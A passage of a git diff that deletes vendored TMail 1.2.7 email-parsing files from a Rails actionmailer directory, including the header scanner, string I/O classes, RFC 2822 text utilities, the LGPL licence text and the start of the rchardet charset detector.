-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-#:stopdoc:
-require 'tmail/config'
-
-module TMail
-
-  class TMailScanner
-
-    Version = '1.2.3'
-    Version.freeze
-
-    MIME_HEADERS = {
-      :CTYPE        => true,
-      :CENCODING    => true,
-      :CDISPOSITION => true
-    }
-
-    alnum      = 'a-zA-Z0-9'
-    atomsyms   = %q[  _#!$%&`'*+-{|}~^/=?  ].strip
-    tokensyms  = %q[  _#!$%&`'*+-{|}~^@.    ].strip
-    atomchars  = alnum + Regexp.quote(atomsyms)
-    tokenchars = alnum + Regexp.quote(tokensyms)
-    iso2022str = '\e(?!\(B)..(?:[^\e]+|\e(?!\(B)..)*\e\(B'
-
-    eucstr  = "(?:[\xa1-\xfe][\xa1-\xfe])+"
-    sjisstr = "(?:[\x81-\x9f\xe0-\xef][\x40-\x7e\x80-\xfc])+"
-    utf8str = "(?:[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf][\x80-\xbf])+"
-
-    quoted_with_iso2022  = /\A(?:[^\\\e"]+|#{iso2022str})+/n
-    domlit_with_iso2022  = /\A(?:[^\\\e\]]+|#{iso2022str})+/n
-    comment_with_iso2022 = /\A(?:[^\\\e()]+|#{iso2022str})+/n
-
-    quoted_without_iso2022  = /\A[^\\"]+/n
-    domlit_without_iso2022  = /\A[^\\\]]+/n
-    comment_without_iso2022 = /\A[^\\()]+/n
-
-    PATTERN_TABLE = {}
-    PATTERN_TABLE['EUC'] =
-      [
-        /\A(?:[#{atomchars}]+|#{iso2022str}|#{eucstr})+/n,
-        /\A(?:[#{tokenchars}]+|#{iso2022str}|#{eucstr})+/n,
-        quoted_with_iso2022,
-        domlit_with_iso2022,
-        comment_with_iso2022
-      ]
-    PATTERN_TABLE['SJIS'] =
-      [
-        /\A(?:[#{atomchars}]+|#{iso2022str}|#{sjisstr})+/n,
-        /\A(?:[#{tokenchars}]+|#{iso2022str}|#{sjisstr})+/n,
-        quoted_with_iso2022,
-        domlit_with_iso2022,
-        comment_with_iso2022
-      ]
-    PATTERN_TABLE['UTF8'] =
-      [
-        /\A(?:[#{atomchars}]+|#{utf8str})+/n,
-        /\A(?:[#{tokenchars}]+|#{utf8str})+/n,
-        quoted_without_iso2022,
-        domlit_without_iso2022,
-        comment_without_iso2022
-      ]
-    PATTERN_TABLE['NONE'] =
-      [
-        /\A[#{atomchars}]+/n,
-        /\A[#{tokenchars}]+/n,
-        quoted_without_iso2022,
-        domlit_without_iso2022,
-        comment_without_iso2022
-      ]
-
-
-    def initialize( str, scantype, comments )
-      init_scanner str
-      @comments = comments || []
-      @debug    = false
-
-      # fix scanner mode
-      @received  = (scantype == :RECEIVED)
-      @is_mime_header = MIME_HEADERS[scantype]
-
-      atom, token, @quoted_re, @domlit_re, @comment_re = PATTERN_TABLE[TMail.KCODE]
-      @word_re = (MIME_HEADERS[scantype] ? token : atom)
-    end
-
-    attr_accessor :debug
-
-    def scan( &block )
-      if @debug
-        scan_main do |arr|
-          s, v = arr
-          printf "%7d %-10s %s\n",
-                 rest_size(),
-                 s.respond_to?(:id2name) ? s.id2name : s.inspect,
-                 v.inspect
-          yield arr
-        end
-      else
-        scan_main(&block)
-      end
-    end
-
-    private
-
-    RECV_TOKEN = {
-      'from' => :FROM,
-      'by'   => :BY,
-      'via'  => :VIA,
-      'with' => :WITH,
-      'id'   => :ID,
-      'for'  => :FOR
-    }
-
-    def scan_main
-      until eof?
-        if skip(/\A[\n\r\t ]+/n)   # LWSP
-          break if eof?
-        end
-
-        if s = readstr(@word_re)
-          if @is_mime_header
-            yield [:TOKEN, s]
-          else
-            # atom
-            if /\A\d+\z/ === s
-              yield [:DIGIT, s]
-            elsif @received
-              yield [RECV_TOKEN[s.downcase] || :ATOM, s]
-            else
-              yield [:ATOM, s]
-            end
-          end
-
-        elsif skip(/\A"/)
-          yield [:QUOTED, scan_quoted_word()]
-
-        elsif skip(/\A\[/)
-          yield [:DOMLIT, scan_domain_literal()]
-
-        elsif skip(/\A\(/)
-          @comments.push scan_comment()
-
-        else
-          c = readchar()
-          yield [c, c]
-        end
-      end
-
-      yield [false, '$']
-    end
-
-    def scan_quoted_word
-      scan_qstr(@quoted_re, /\A"/, 'quoted-word')
-    end
-
-    def scan_domain_literal
-      '[' + scan_qstr(@domlit_re, /\A\]/, 'domain-literal') + ']'
-    end
-
-    def scan_qstr( pattern, terminal, type )
-      result = ''
-      until eof?
-        if    s = readstr(pattern) then result << s
-        elsif skip(terminal)       then return result
-        elsif skip(/\A\\/)         then result << readchar()
-        else
-          raise "TMail FATAL: not match in #{type}"
-        end
-      end
-      scan_error! "found unterminated #{type}"
-    end
-
-    def scan_comment
-      result = ''
-      nest = 1
-      content = @comment_re
-
-      until eof?
-        if s = readstr(content) then result << s
-        elsif skip(/\A\)/)      then nest -= 1
-                                     return result if nest == 0
-                                     result << ')'
-        elsif skip(/\A\(/)      then nest += 1
-                                     result << '('
-        elsif skip(/\A\\/)      then result << readchar()
-        else
-          raise 'TMail FATAL: not match in comment'
-        end
-      end
-      scan_error! 'found unterminated comment'
-    end
-
-    # string scanner
-
-    def init_scanner( str )
-      @src = str
-    end
-
-    def eof?
-      @src.empty?
-    end
-
-    def rest_size
-      @src.size
-    end
-
-    def readstr( re )
-      if m = re.match(@src)
-        @src = m.post_match
-        m[0]
-      else
-        nil
-      end
-    end
-
-    def readchar
-      readstr(/\A./)
-    end
-
-    def skip( re )
-      if m = re.match(@src)
-        @src = m.post_match
-        true
-      else
-        false
-      end
-    end
-
-    def scan_error!( msg )
-      raise SyntaxError, msg
-    end
-
-  end
-
-end   # module TMail
-#:startdoc:
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/stringio.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/stringio.rb
deleted file mode 100644
index 83573987..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/stringio.rb
+++ /dev/null
@@ -1,280 +0,0 @@
-# encoding: utf-8
-=begin rdoc
-
-= String handling class
-
-=end
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-class StringInput#:nodoc:
-
-  include Enumerable
-
-  class << self
-
-    def new( str )
-      if block_given?
-        begin
-          f = super
-          yield f
-        ensure
-          f.close if f
-        end
-      else
-        super
-      end
-    end
-
-    alias open new
-  
-  end
-
-  def initialize( str )
-    @src = str
-    @pos = 0
-    @closed = false
-    @lineno = 0
-  end
-
-  attr_reader :lineno
-
-  def string
-    @src
-  end
-
-  def inspect
-    "#<#{self.class}:#{@closed ? 'closed' : 'open'},src=#{@src[0,30].inspect}>"
-  end
-
-  def close
-    stream_check!
-    @pos = nil
-    @closed = true
-  end
-
-  def closed?
-    @closed
-  end
-
-  def pos
-    stream_check!
-    [@pos, @src.size].min
-  end
-
-  alias tell pos
-
-  def seek( offset, whence = IO::SEEK_SET )
-    stream_check!
-    case whence
-    when IO::SEEK_SET
-      @pos = offset
-    when IO::SEEK_CUR
-      @pos += offset
-    when IO::SEEK_END
-      @pos = @src.size - offset
-    else
-      raise ArgumentError, "unknown seek flag: #{whence}"
-    end
-    @pos = 0 if @pos < 0
-    @pos = [@pos, @src.size + 1].min
-    offset
-  end
-
-  def rewind
-    stream_check!
-    @pos = 0
-  end
-
-  def eof?
-    stream_check!
-    @pos > @src.size
-  end
-
-  def each( &block )
-    stream_check!
-    begin
-      @src.each(&block)
-    ensure
-      @pos = 0
-    end
-  end
-
-  def gets
-    stream_check!
-    if idx = @src.index(?\n, @pos)
-      idx += 1  # "\n".size
-      line = @src[ @pos ... idx ]
-      @pos = idx
-      @pos += 1 if @pos == @src.size
-    else
-      line = @src[ @pos .. -1 ]
-      @pos = @src.size + 1
-    end
-    @lineno += 1
-
-    line
-  end
-
-  def getc
-    stream_check!
-    ch = @src[@pos]
-    @pos += 1
-    @pos += 1 if @pos == @src.size
-    ch
-  end
-
-  def read( len = nil )
-    stream_check!
-    return read_all unless len
-    str = @src[@pos, len]
-    @pos += len
-    @pos += 1 if @pos == @src.size
-    str
-  end
-
-  alias sysread read
-
-  def read_all
-    stream_check!
-    return nil if eof?
-    rest = @src[@pos ... @src.size]
-    @pos = @src.size + 1
-    rest
-  end
-
-  def stream_check!
-    @closed and raise IOError, 'closed stream'
-  end
-
-end
-
-
-class StringOutput#:nodoc:
-
-  class << self
-
-    def new( str = '' )
-      if block_given?
-        begin
-          f = super
-          yield f
-        ensure
-          f.close if f
-        end
-      else
-        super
-      end
-    end
-
-    alias open new
-  
-  end
-
-  def initialize( str = '' )
-    @dest = str
-    @closed = false
-  end
-
-  def close
-    @closed = true
-  end
-
-  def closed?
-    @closed
-  end
-
-  def string
-    @dest
-  end
-
-  alias value string
-  alias to_str string
-
-  def size
-    @dest.size
-  end
-
-  alias pos size
-
-  def inspect
-    "#<#{self.class}:#{@dest ? 'open' : 'closed'},#{object_id}>"
-  end
-
-  def print( *args )
-    stream_check!
-    raise ArgumentError, 'wrong # of argument (0 for >1)' if args.empty?
-    args.each do |s|
-      raise ArgumentError, 'nil not allowed' if s.nil?
-      @dest << s.to_s
-    end
-    nil
-  end
-
-  def puts( *args )
-    stream_check!
-    args.each do |str|
-      @dest << (s = str.to_s)
-      @dest << "\n" unless s[-1] == ?\n
-    end
-    @dest << "\n" if args.empty?
-    nil
-  end
-
-  def putc( ch )
-    stream_check!
-    @dest << ch.chr
-    nil
-  end
-
-  def printf( *args )
-    stream_check!
-    @dest << sprintf(*args)
-    nil
-  end
-
-  def write( str )
-    stream_check!
-    s = str.to_s
-    @dest << s
-    s.size
-  end
-
-  alias syswrite write
-
-  def <<( str )
-    stream_check!
-    @dest << str.to_s
-    self
-  end
-
-  private
-
-  def stream_check!
-    @closed and raise IOError, 'closed stream'
-  end
-
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/utils.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/utils.rb
deleted file mode 100644
index 3590ca24..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/utils.rb
+++ /dev/null
@@ -1,362 +0,0 @@
-# encoding: us-ascii
-#--
-# Copyright (c) 1998-2003 Minero Aoki <aamine@loveruby.net>
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-
-# = TMail - The EMail Swiss Army Knife for Ruby
-#
-# The TMail library provides you with a very complete way to handle and manipulate EMails
-# from within your Ruby programs.
-#
-# Used as the backbone for email handling by the Ruby on Rails and Nitro web frameworks as
-# well as a bunch of other Ruby apps including the Ruby-Talk mailing list to newsgroup email
-# gateway, it is a proven and reliable email handler that won't let you down.
-#
-# Originally created by Minero Aoki, TMail has been recently picked up by Mikel Lindsaar and
-# is being actively maintained.  Numerous backlogged bug fixes have been applied as well as
-# Ruby 1.9 compatibility and a swath of documentation to boot.
-#
-# TMail allows you to treat an email totally as an object and allow you to get on with your
-# own programming without having to worry about crafting the perfect email address validation
-# parser, or assembling an email from all it's component parts.
-#
-# TMail handles the most complex part of the email - the header.  It generates and parses
-# headers and provides you with instant access to their innards through simple and logically
-# named accessor and setter methods.
-#
-# TMail also provides a wrapper to Net/SMTP as well as Unix Mailbox handling methods to
-# directly read emails from your unix mailbox, parse them and use them.
-#
-# Following is the comprehensive list of methods to access TMail::Mail objects.  You can also
-# check out TMail::Mail, TMail::Address and TMail::Headers for other lists.
-module TMail
-
-  # Provides an exception to throw on errors in Syntax within TMail's parsers
-  class SyntaxError < StandardError; end
-
-  # Provides a new email boundary to separate parts of the email.  This is a random
-  # string based off the current time, so should be fairly unique.
-  #
-  # For Example:
-  #
-  #  TMail.new_boundary
-  #  #=> "mimepart_47bf656968207_25a8fbb80114"
-  #  TMail.new_boundary
-  #  #=> "mimepart_47bf66051de4_25a8fbb80240"
-  def TMail.new_boundary
-    'mimepart_' + random_tag
-  end
-
-  # Provides a new email message ID.  You can use this to generate unique email message
-  # id's for your email so you can track them.
-  #
-  # Optionally takes a fully qualified domain name (default to the current hostname
-  # returned by Socket.gethostname) that will be appended to the message ID.
-  #
-  # For Example:
-  #
-  #  email.message_id = TMail.new_message_id
-  #  #=> "<47bf66845380e_25a8fbb80332@baci.local.tmail>"
-  #  email.to_s
-  #  #=> "Message-Id: <47bf668b633f1_25a8fbb80475@baci.local.tmail>\n\n"
-  #  email.message_id = TMail.new_message_id("lindsaar.net")
-  #  #=> "<47bf668b633f1_25a8fbb80475@lindsaar.net.tmail>"
-  #  email.to_s
-  #  #=> "Message-Id: <47bf668b633f1_25a8fbb80475@lindsaar.net.tmail>\n\n"
-  def TMail.new_message_id( fqdn = nil )
-    fqdn ||= ::Socket.gethostname
-    "<#{random_tag()}@#{fqdn}.tmail>"
-  end
-
-  #:stopdoc:
-  def TMail.random_tag #:nodoc:
-    @uniq += 1
-    t = Time.now
-    sprintf('%x%x_%x%x%d%x',
-            t.to_i, t.tv_usec,
-            $$, Thread.current.object_id, @uniq, rand(255))
-  end
-  private_class_method :random_tag
-
-  @uniq = 0
-
-  #:startdoc:
-
-  # Text Utils provides a namespace to define TOKENs, ATOMs, PHRASEs and CONTROL characters that
-  # are OK per RFC 2822.
-  #
-  # It also provides methods you can call to determine if a string is safe
-  module TextUtils
-
-    aspecial     = %Q|()<>[]:;.\\,"|
-    tspecial     = %Q|()<>[];:\\,"/?=|
-    lwsp         = %Q| \t\r\n|
-    control      = %Q|\x00-\x1f\x7f-\xff|
-
-    CONTROL_CHAR  = /[#{control}]/n
-    ATOM_UNSAFE   = /[#{Regexp.quote aspecial}#{control}#{lwsp}]/n
-    PHRASE_UNSAFE = /[#{Regexp.quote aspecial}#{control}]/n
-    TOKEN_UNSAFE  = /[#{Regexp.quote tspecial}#{control}#{lwsp}]/n
-
-    # Returns true if the string supplied is free from characters not allowed as an ATOM
-    def atom_safe?( str )
-      not ATOM_UNSAFE === str
-    end
-
-    # If the string supplied has ATOM unsafe characters in it, will return the string quoted
-    # in double quotes, otherwise returns the string unmodified
-    def quote_atom( str )
-      (ATOM_UNSAFE === str) ? dquote(str) : str
-    end
-
-    # If the string supplied has PHRASE unsafe characters in it, will return the string quoted
-    # in double quotes, otherwise returns the string unmodified
-    def quote_phrase( str )
-      (PHRASE_UNSAFE === str) ? dquote(str) : str
-    end
-
-    # Returns true if the string supplied is free from characters not allowed as a TOKEN
-    def token_safe?( str )
-      not TOKEN_UNSAFE === str
-    end
-
-    # If the string supplied has TOKEN unsafe characters in it, will return the string quoted
-    # in double quotes, otherwise returns the string unmodified
-    def quote_token( str )
-      (TOKEN_UNSAFE === str) ? dquote(str) : str
-    end
-
-    # Wraps supplied string in double quotes unless it is already wrapped
-    # Returns double quoted string
-    def dquote( str ) #:nodoc:
-      unless str =~ /^".*?"$/
-        '"' + str.gsub(/["\\]/n) {|s| '\\' + s } + '"'
-      else
-        str
-      end
-    end
-    private :dquote
-
-    # Unwraps supplied string from inside double quotes
-    # Returns unquoted string
-    def unquote( str )
-      str =~ /^"(.*?)"$/m ? $1 : str
-    end
-
-    # Provides a method to join a domain name by it's parts and also makes it
-    # ATOM safe by quoting it as needed
-    def join_domain( arr )
-      arr.map {|i|
-          if /\A\[.*\]\z/ === i
-            i
-          else
-            quote_atom(i)
-          end
-      }.join('.')
-    end
-
-    #:stopdoc:
-    ZONESTR_TABLE = {
-      'jst' =>   9 * 60,
-      'eet' =>   2 * 60,
-      'bst' =>   1 * 60,
-      'met' =>   1 * 60,
-      'gmt' =>   0,
-      'utc' =>   0,
-      'ut'  =>   0,
-      'nst' => -(3 * 60 + 30),
-      'ast' =>  -4 * 60,
-      'edt' =>  -4 * 60,
-      'est' =>  -5 * 60,
-      'cdt' =>  -5 * 60,
-      'cst' =>  -6 * 60,
-      'mdt' =>  -6 * 60,
-      'mst' =>  -7 * 60,
-      'pdt' =>  -7 * 60,
-      'pst' =>  -8 * 60,
-      'a'   =>  -1 * 60,
-      'b'   =>  -2 * 60,
-      'c'   =>  -3 * 60,
-      'd'   =>  -4 * 60,
-      'e'   =>  -5 * 60,
-      'f'   =>  -6 * 60,
-      'g'   =>  -7 * 60,
-      'h'   =>  -8 * 60,
-      'i'   =>  -9 * 60,
-      # j not use
-      'k'   => -10 * 60,
-      'l'   => -11 * 60,
-      'm'   => -12 * 60,
-      'n'   =>   1 * 60,
-      'o'   =>   2 * 60,
-      'p'   =>   3 * 60,
-      'q'   =>   4 * 60,
-      'r'   =>   5 * 60,
-      's'   =>   6 * 60,
-      't'   =>   7 * 60,
-      'u'   =>   8 * 60,
-      'v'   =>   9 * 60,
-      'w'   =>  10 * 60,
-      'x'   =>  11 * 60,
-      'y'   =>  12 * 60,
-      'z'   =>   0 * 60
-    }
-    #:startdoc:
-
-    # Takes a time zone string from an EMail and converts it to Unix Time (seconds)
-    def timezone_string_to_unixtime( str )
-      if m = /([\+\-])(\d\d?)(\d\d)/.match(str)
-        sec = (m[2].to_i * 60 + m[3].to_i) * 60
-        m[1] == '-' ? -sec : sec
-      else
-        min = ZONESTR_TABLE[str.downcase] or
-                raise SyntaxError, "wrong timezone format '#{str}'"
-        min * 60
-      end
-    end
-
-    #:stopdoc:
-    WDAY = %w( Sun Mon Tue Wed Thu Fri Sat TMailBUG )
-    MONTH = %w( TMailBUG Jan Feb Mar Apr May Jun
-                         Jul Aug Sep Oct Nov Dec TMailBUG )
-
-    def time2str( tm )
-      # [ruby-list:7928]
-      gmt = Time.at(tm.to_i)
-      gmt.gmtime
-      offset = tm.to_i - Time.local(*gmt.to_a[0,6].reverse).to_i
-
-      # DO NOT USE strftime: setlocale() breaks it
-      sprintf '%s, %s %s %d %02d:%02d:%02d %+.2d%.2d',
-              WDAY[tm.wday], tm.mday, MONTH[tm.month],
-              tm.year, tm.hour, tm.min, tm.sec,
-              *(offset / 60).divmod(60)
-    end
-
-
-    MESSAGE_ID = /<[^\@>]+\@[^>]+>/
-
-    def message_id?( str )
-      MESSAGE_ID === str
-    end
-
-
-    MIME_ENCODED = /=\?[^\s?=]+\?[QB]\?[^\s?=]+\?=/i
-
-    def mime_encoded?( str )
-      MIME_ENCODED === str
-    end
-
-
-    def decode_params( hash )
-      new = Hash.new
-      encoded = nil
-      hash.each do |key, value|
-        if m = /\*(?:(\d+)\*)?\z/.match(key)
-          ((encoded ||= {})[m.pre_match] ||= [])[(m[1] || 0).to_i] = value
-        else
-          new[key] = to_kcode(value)
-        end
-      end
-      if encoded
-        encoded.each do |key, strings|
-          new[key] = decode_RFC2231(strings.join(''))
-        end
-      end
-
-      new
-    end
-
-    NKF_FLAGS = {
-      'EUC'  => '-e -m',
-      'SJIS' => '-s -m'
-    }
-
-    def to_kcode( str )
-      flag = NKF_FLAGS[TMail.KCODE] or return str
-      NKF.nkf(flag, str)
-    end
-
-    RFC2231_ENCODED = /\A(?:iso-2022-jp|euc-jp|shift_jis|us-ascii)?'[a-z]*'/in
-
-    def decode_RFC2231( str )
-      m = RFC2231_ENCODED.match(str) or return str
-      begin
-        to_kcode(m.post_match.gsub(/%[\da-f]{2}/in) {|s| s[1,2].hex.chr })
-      rescue
-        m.post_match.gsub(/%[\da-f]{2}/in, "")
-      end
-    end
-
-    def quote_boundary
-      # Make sure the Content-Type boundary= parameter is quoted if it contains illegal characters
-      # (to ensure any special characters in the boundary text are escaped from the parser
-      # (such as = in MS Outlook's boundary text))
-      if @body =~ /^(.*)boundary=(.*)$/m
-        preamble = $1
-        remainder = $2
-        if remainder =~ /;/
-          remainder =~ /^(.*?)(;.*)$/m
-          boundary_text = $1
-          post = $2.chomp
-        else
-          boundary_text = remainder.chomp
-        end
-        if boundary_text =~ /[\/\?\=]/
-          boundary_text = "\"#{boundary_text}\"" unless boundary_text =~ /^".*?"$/
-          @body = "#{preamble}boundary=#{boundary_text}#{post}"
-        end
-      end
-    end
-
-    # AppleMail generates illegal character contained Content-Type parameter like:
-    #   name==?ISO-2022-JP?B?...=?=
-    # so quote. (This case is only value fits in one line.)
-    def quote_unquoted_bencode
-      @body = @body.gsub(%r"(;\s+[-a-z]+=)(=\?.+?)([;\r\n ]|\z)"m) {
-        head, should_quoted, tail = $~.captures
-        # head: "; name="
-        # should_quoted: "=?ISO-2022-JP?B?...=?="
-
-        head << quote_token(should_quoted) << tail
-      }
-    end
-
-    # AppleMail generates name=filename attributes in the content type that
-    # contain spaces.  Need to handle this so the TMail Parser can.
-    def quote_unquoted_name
-      @body = @body.gsub(%r|(name=)([\w\s.]+)(.*)|m) {
-        head, should_quoted, tail = $~.captures
-        # head: "; name="
-        # should_quoted: "=?ISO-2022-JP?B?...=?="
-        head  << quote_token(should_quoted) << tail
-      }
-    end
-
-    #:startdoc:
-
-  end
-
-end
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/COPYING b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/COPYING
deleted file mode 100755
index 8add30ad..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/COPYING
+++ /dev/null
@@ -1,504 +0,0 @@
-		  GNU LESSER GENERAL PUBLIC LICENSE
-		       Version 2.1, February 1999
-
- Copyright (C) 1991, 1999 Free Software Foundation, Inc.
-     51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-[This is the first released version of the Lesser GPL.  It also counts
- as the successor of the GNU Library Public License, version 2, hence
- the version number 2.1.]
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-Licenses are intended to guarantee your freedom to share and change
-free software--to make sure the software is free for all its users.
-
-  This license, the Lesser General Public License, applies to some
-specially designated software packages--typically libraries--of the
-Free Software Foundation and other authors who decide to use it.  You
-can use it too, but we suggest you first think carefully about whether
-this license or the ordinary General Public License is the better
-strategy to use in any particular case, based on the explanations below.
-
-  When we speak of free software, we are referring to freedom of use,
-not price.  Our General Public Licenses are designed to make sure that
-you have the freedom to distribute copies of free software (and charge
-for this service if you wish); that you receive source code or can get
-it if you want it; that you can change the software and use pieces of
-it in new free programs; and that you are informed that you can do
-these things.
-
-  To protect your rights, we need to make restrictions that forbid
-distributors to deny you these rights or to ask you to surrender these
-rights.  These restrictions translate to certain responsibilities for
-you if you distribute copies of the library or if you modify it.
-
-  For example, if you distribute copies of the library, whether gratis
-or for a fee, you must give the recipients all the rights that we gave
-you.  You must make sure that they, too, receive or can get the source
-code.  If you link other code with the library, you must provide
-complete object files to the recipients, so that they can relink them
-with the library after making changes to the library and recompiling
-it.  And you must show them these terms so they know their rights.
-
-  We protect your rights with a two-step method: (1) we copyright the
-library, and (2) we offer you this license, which gives you legal
-permission to copy, distribute and/or modify the library.
-
-  To protect each distributor, we want to make it very clear that
-there is no warranty for the free library.  Also, if the library is
-modified by someone else and passed on, the recipients should know
-that what they have is not the original version, so that the original
-author's reputation will not be affected by problems that might be
-introduced by others.
-
-  Finally, software patents pose a constant threat to the existence of
-any free program.  We wish to make sure that a company cannot
-effectively restrict the users of a free program by obtaining a
-restrictive license from a patent holder.  Therefore, we insist that
-any patent license obtained for a version of the library must be
-consistent with the full freedom of use specified in this license.
-
-  Most GNU software, including some libraries, is covered by the
-ordinary GNU General Public License.  This license, the GNU Lesser
-General Public License, applies to certain designated libraries, and
-is quite different from the ordinary General Public License.  We use
-this license for certain libraries in order to permit linking those
-libraries into non-free programs.
-
-  When a program is linked with a library, whether statically or using
-a shared library, the combination of the two is legally speaking a
-combined work, a derivative of the original library.  The ordinary
-General Public License therefore permits such linking only if the
-entire combination fits its criteria of freedom.  The Lesser General
-Public License permits more lax criteria for linking other code with
-the library.
-
-  We call this license the "Lesser" General Public License because it
-does Less to protect the user's freedom than the ordinary General
-Public License.  It also provides other free software developers Less
-of an advantage over competing non-free programs.  These disadvantages
-are the reason we use the ordinary General Public License for many
-libraries.  However, the Lesser license provides advantages in certain
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diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/README b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/README
deleted file mode 100644
index f89c61af..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/README
+++ /dev/null
@@ -1,12 +0,0 @@
-Usage:
-    require 'rubygems'
-    require 'rchardet'
-
-    cd = CharDet.detect(some_data)
-    encoding = cd['encoding']
-    confidence = cd['confidence'] # 0.0 <= confidence <= 1.0
-
-Project page: 
-    http://rubyforge.org/projects/rchardet
-
-    Made for rFeedParser <http://rfeedparser.rubyforge.org>.
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet.rb
deleted file mode 100644
index b64338b1..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/vendor/rchardet-1.3/lib/rchardet.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-######################## BEGIN LICENSE BLOCK ########################
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
-# 02110-1301  USA
-######################### END LICENSE BLOCK #########################
-
-$LOAD_PATH.unshift File.expand_path(File.dirname(__FILE__))
-
-require 'rchardet/charsetprober'
-require 'rchardet/mbcharsetprober'
-
-require 'rchardet/big5freq'
-require 'rchardet/big5prober'
-require 'rchardet/chardistribution'
-require 'rchardet/charsetgroupprober'
-
-require 'rchardet/codingstatemachine'
-require 'rchardet/constants'
-require 'rchardet/escprober'
-require 'rchardet/escsm'
-require 'rchardet/eucjpprober'
-require 'rchardet/euckrfreq'
-require 'rchardet/euckrprober'
-require 'rchardet/euctwfreq'
-require 'rchardet/euctwprober'
-require 'rchardet/gb2312freq'
-require 'rchardet/gb2312prober'
-require 'rchardet/hebrewprober'
-require 'rchardet/jisfreq'
-require 'rchardet/jpcntx'
-require 'rchardet/langbulgarianmodel'
-require 'rchardet/langcyrillicmodel'
-require 'rchardet/langgreekmodel'
-require 'rchardet/langhebrewmodel'
-require 'rchardet/langhungarianmodel'
-require 'rchardet/langthaimodel'
-require 'rchardet/latin1prober'
-
-require 'rchardet/mbcsgroupprober'
-require 'rchardet/mbcssm'
-require 'rchardet/sbcharsetprober'
-require 'rchardet/sbcsgroupprober'
-require 'rchardet/sjisprober'
